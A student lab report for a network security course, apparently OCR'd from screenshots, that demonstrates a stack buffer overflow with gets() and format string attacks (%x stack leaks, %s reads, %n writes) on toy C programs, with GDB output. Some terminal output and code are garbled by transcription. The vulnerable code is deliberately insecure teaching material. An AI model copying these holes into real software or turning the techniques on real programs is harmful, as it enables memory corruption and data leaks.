1. IMPLEMENTING SIMPLE BUFFER OVERFLOWS

2. IMPLEMENTING SIMPLE FORMAT STRING ATTACKS

SUBJECT NAME: CRYPTOGRAPHY AND NETWORK SECURITY

SUBJECT CODE: CS6008

MODULE: 2

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DATE	05/04/2022

1) Implementing a simple buffer overflow

AIM:

To implement a buffer overflow attack using binary executable binary files.

TOOLS INVOLVED:

- GCC
- GDB
- KALI LINUX TERMINAL (WSL)

PROBLEM DESCRIPTIONS:

Buffers are memory storage regions that temporarily hold data while it is being transferred from one location to another. A buffer overflow occurs when the volume of data exceeds the storage capacity of the memory buffer. As a result, the program attempting to write the data to buffer overwrites adjacent memory locations.

INPUT:

Getting an input from user in executable binary files.

OUTPUT:

Debug the binary code to find how stack values are modified.

SCREENSHOT:

Filename: overflow.c

```
#include <stdio.h>

void ReadInput()
{
   char buffer[8];
   gets(buffer);
   puts(buffer);
}

int main()
{
   ReadInput();
   return 0;
}
```

Following output will be

```
(bhuvan & Bhuvaneshwar) - [/mnt/e/clg 6th sem/crypto&net security/implem/overflow]
$\frac{1}{2}\text{ ./overflow}$

bhuvan

bhuvan
```

If user enter more than 8 characters.

Because the size of buffer was defined and it filled with more than 8 characters, so the buffer was overflowed.

Let see in gdb debugging.

```
-(bhuvan&Bhuvaneshwar)-[/mnt/e/clg 6th sem/crypto&net security/implem/overflow]
└$ gdb -q overflow
Reading symbols from overflow...
(gdb) list
        #include <stdio.h>
1
2
3
         void ReadInput()
4
5
           char buffer[8];
           gets(buffer)
6
7
           puts(buffer);
8
9
10
         int main()
(gdb)
11
12
           ReadInput();
13
           return 0;
14
```

Disassemble

Main

```
(gdb) disas main
Dump of assembler code for function main:
   0x0000000000001171 <+0>:
                                 push
                                        %rbp
   0x0000000000001172 <+1>:
                                 mov
                                        %rsp,%rbp
   0x0000000000001175 <+4>:
                                 mov
                                        $0x0,%eax
   0x000000000000117a <+9>:
                                        0x1149 <ReadInput>
                                 call
   0x000000000000117f <+14>:
                                        $0x0,%eax
                                 mov
   0x0000000000001184 <+19>:
                                        %rbp
                                 pop
   0x0000000000001185 <+20>:
                                 ret
End of assembler dump.
```

ReadInput

```
(gdb) disas ReadInput
Dump of assembler code for function ReadInput:
   0x0000000000001149 <+0>:
                                 push
                                        %rbp
                                        %rsp,%rbp
   0x000000000000114a <+1>:
                                 mov
   0x000000000000114d <+4>:
                                 sub
                                        $0x10,%rsp
                                        -0x8(%rbp),%rax
   0x0000000000001151 <+8>:
                                 lea
   0x0000000000001155 <+12>:
                                        %rax,%rdi
                                 mov
   0x0000000000001158 <+15>:
                                        $0x0,%eax
                                 mov
   0x000000000000115d <+20>:
                                 call
                                        0x1040 <gets@plt>
   0x0000000000001162 <+25>:
                                 lea
                                        -0x8(%rbp),%rax
   0x0000000000001166 <+29>:
                                 mov
                                        %rax,%rdi
   0x0000000000001169 <+32>:
                                 call
                                        0x1030 <puts@plt>
   0x000000000000116e <+37>:
                                 qon
   0x000000000000116f <+38>:
                                 leave
   0x0000000000001170 <+39>:
                                 ret
End of assembler dump.
```

3 break point are set at the

- GetInput function
- gets
- puts

```
(gdb) break *main+9
Breakpoint 1 at 0x117a: file overflow.c, line 12.
(gdb) break *ReadInput+20
Breakpoint 2 at 0x115d: file overflow.c, line 6.
(gdb) break *ReadInput+32
Breakpoint 3 at 0x1169: file overflow.c, line 7.
```

Now run the program

• It will run upto breakpoint 1 (*main+9)

```
(gdb) r
Starting program: /mnt/e/clg 6th sem/crypto&net security/implem/overflow/overflow
Breakpoint 1, 0x00005555555555517a in main () at overflow.c:12
           ReadInput();
(gdb) x/8xg $rsp
0x7ffffffdd70: 0x0000000000000000
                                        0x00007fffffe0d7fd
0x7fffffffdd80: 0x00007ffffffffde68
                                        0x00000001f7fcb000
0x7fffffffdd90: 0x00005555555555171
                                        0x00007fffffffe0c9
0x7fffffffdda0: 0x00005555555555190
                                        0x2e930f19a922084b
(gdb) x/8xg $rbp
0x7ffffffdd70: 0x0000000000000000
                                        0x00007fffffe0d7fd
0x7fffffffdd80: 0x00007fffffffde68
                                        0x00000001f7fcb000
0x7ffffffdd90: 0x0000555555555171
                                        0x00007fffffffe0c9
0x7fffffffdda0: 0x00005555555555190
                                        0x2e930f19a922084b
```

Info register

(adh) in (a man		
(gdb) info reg	0x0	0
rax rbx	0x5555555555190	93824992235920
	0x7ffff7fb4738	140737353828152
rcx	0x7fffffffde78	140737488346744
rdx	0x7fffffffde68	
rsi		140737488346728
rdi	0x1	1
rbp	0x7fffffffdd70	0x7fffffffdd70
rsp	0x7fffffffdd70	0x7ffffffdd70
r8	0x0	0
r9	0x7fffff7fdc1f0	140737353990640
r10	0x69682ac	110527148
r11	0x206	518
r12	0x55555555060	93824992235616
r13	0×0	0
r14	0×0	0
r15	0×0	0
rip	0x55555555517a	0x555555555517a <main+9></main+9>
eflags	0x246	[PF ZF IF]
cs	0x33	51
SS	0x2b	43
ds	0×0	0
es	0x0	0
fs	0x0	0
gs	0x0	0
k0	0x200020	2097184
k1	0×11000	69632
k2	0×0	0
k3	0x0	0

Continue the execution. It will stop at breakpoint 2 gets() (*ReadInput+20).

```
(gdb) c
Continuing.
Breakpoint 2, 0x0000555555555555515d in ReadInput () at overflow.c:6
6
           gets(buffer);
(gdb) x/8xg $rsp
0x7ffffffdd50: 0x0000000000000000
                                         0x0000555555555060
0x7fffffffdd60: 0x00007fffffffdd70
                                         0x000055555555517f
0x7ffffffdd70: 0x0000000000000000
                                         0x00007fffffe0d7fd
0x7fffffffdd80: 0x00007fffffffde68
                                         0x00000001f7fcb000
(qdb) x/8xq $rbp
0x7fffffffdd60: 0x00007fffffffdd70
                                         0x000055555555517f
0x7ffffffdd70: 0x0000000000000000
                                         0x00007fffffe0d7fd
0x7fffffffdd80: 0x00007fffffffde68
                                         0x00000001f7fcb000
0x7fffffffdd90: 0x0000555555555171
                                         0x00007fffffffe0c9
(gdb) info register
rax
               0x0
rbx
               0x55555555190
                                    93824992235920
               0x7ffff7fb4738
rcx
                                    140737353828152
               0x7fffffffde78
                                    140737488346744
rdx
               0x7fffffffde68
                                    140737488346728
rsi
rdi
               0x7fffffffdd58
                                    140737488346456
                                    0x7fffffffdd60
               0x7fffffffdd60
rbp
               0x7fffffffdd50
                                    0x7fffffffdd50
rsp
r8
               0x0
                                    0
               0x7fffff7fdc1f0
                                    140737353990640
r9
                                    110527148
r10
               0x69682ac
r11
               0x206
               0x55555555060
                                    93824992235616
r12
r13
               0 \times 0
                                    0
r14
               0x0
                                    0
r15
               0x0
                                    0
               0x55555555515d
                                    0x555555555515d <ReadInput+20>
rip
```

User input is given with more than 8 bytes. So it overflows the buffer and it overwrites the epb values.

```
(gdb) c
Continuing.
Breakpoint 3, 0x0000555555555555169 in ReadInput () at overflow.c:7
         puts(buffer);
(gdb) x/8xg $rsp
0x7ffffffdd50: 0x0000000000000000
                                   0x4141414141414141
0x7fffffffdd60: 0x4141414141414141
                                   0×4141414141414141
0x7fffffffdd70: 0x4141414141414141
                                   0x4141414141414141
0x7fffffffdd80: 0x0041414141414141
                                   0x00000001f7fcb000
(gdb) x/8xg $rbp
0x7ffffffdd60: 0x4141414141414141
                                   0×4141414141414141
0x7fffffffdd70: 0x4141414141414141
                                   0x4141414141414141
0x7fffffffdd80: 0x0041414141414141
                                   0x00000001f7fcb000
0x7fffffffdd90: 0x00005555555555171
                                   0x00007fffffffe0c9
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
```

SIGSEV due to modified ebp value. Therefore program is terminated.

2) Implementing a format string vulnerabilities

AIM:

To implement a format string attack in executable binary files.

TOOLS INVOLVED:

- GCC
- KALI LINUX TERMINAL (WSL)

PROBLEM DESCRIPTIONS:

The Format String exploit occurs when the submitted data of an input string is evaluated as a command by the application. In this way, the attacker could execute code, read the stack, or cause a segmentation fault in the running application, causing new behaviors that could compromise the security or the stability of the system.

INPUT:

Getting an input password from user in executable binary files.

OUTPUT:

To find how it leaked the memory from the stack based on user inputs.

SCREENSHOT:

FILENAME: frmt vuln.c

```
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(int argc,char *argv[]){
    char text[1024];
    static int test_val = -72;
    if(argc < 2){
        printf("Usage: %s <text to print>\n",argv[0]);
        exit(0);
    strcpy(text,argv[1]);
    printf("The right way to print user-controlled imput : ");
    printf(" %s\n",text);
    printf("\nThe wrong way to print user-controlled imput : ");
    printf(text);
    printf("\n");
    printf("[+] test_val @ 0x%08x = %d 0x%08x\n",&test_val,test_val);
```

```
return 0;
}
```

The following output shows the compilations and execution of frmt vul.c

Both method seem work with the string "bhuvaneshwar".

If user enter format parameter into the string to access the appropriate function argument by adding to the frame pointer.

```
(bhuvan Bhuvaneshwar) - [/mnt/e/clg 6th sem/crypto&net security/implem/format]
$\frac{1}{2}\text{ ./frmt_vuln bhuvaneshwar}\text{ Number of the right way to print user-controlled imput : bhuvaneshwar}\text{ bhuvaneshwar}\text{ The wrong way to print user-controlled imput : bhuvaneshwar20 [+] test_val @ 0x16f78048 = -72 0xcead5603

(bhuvan Bhuvaneshwar) - [/mnt/e/clg 6th sem/crypto&net security/implem/format]

$\text{ | bhuvan Bhuvaneshwar} - [/mnt/e/clg 6th sem/crypto&net security/implem/format]}
```

When the %x format parameter was used, the hexadecimal representation of a four-byte word in the stack was printed. This process can be used repeatedly to examine stack memory.

Here lower stack memory represented through the printf. Each four-byte word is backward due to an little end architecture.

```
(bhuvan & Bhuvaneshwar) - [/mnt/e/clg 6th sem/crypto&net security/implem/format]
$ ./frmt_vuln $(python3 -c 'print("\x25\x30\x38\x78\x2e")')
The right way to print user-controlled imput : %08x.

The wrong way to print user-controlled imput : 00000020.
[+] test_val @ 0x2b7fc048 = -72 0x043ad603

(bhuvan & Bhuvaneshwar) - [/mnt/e/clg 6th sem/crypto&net security/implem/format]
$ |
```

Here it represent the memory for the format string itself. Because the format function will always be on the highest stack frame as long as the format string stored anywhere one the stack. It will be located below the current frame pointer. It used to control arguments to the format function.

READING FROM ARBITRARY MEMORY ADDRESS

The %s format parameter can be used to read from arbitrary memory addresses. So it possible to read the data of the original format string.

The four bytes indicates that the fourth format parameter is reading from the beginning of the format string to get its data.

Here the getenvaddr program is used to get the address for the environment variable PATH. Since the program name fmt_vuln is two bytes less than getenvaddr, four is added to the address, and the bytes are reversed due to the byte ordering. The fourth format parameter of %s reads from the beginning of the format string, thinking it's the address that was passed as a function argument. Since this address is the address of the PATH environment variable, it is printed as if a pointer to the environment variable were passed to printf().

WRITING TO ARBITRARY MEMORY ADDRESSES

```
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void bad_function(){
    printf("\nCant be executed\n");
}
```

```
int main(int argc,char *argv[]){
   int val = 5;

   printf(argv[1],&val);

   if(val == 15)
       bad_function();

   return 0;
}
```

The %n format parameter can be used to write to an arbitrary memory address.

```
___(bhuvan & Bhuvaneshwar)-[/mnt/e/clg 6th sem/crypto&net security/implem/format]
$\_\$ ./vuln 1234567890abcdef%n
1234567890abcdef

Cant be executed
```

The value of the variable val is modified to 15 to call the bad_function().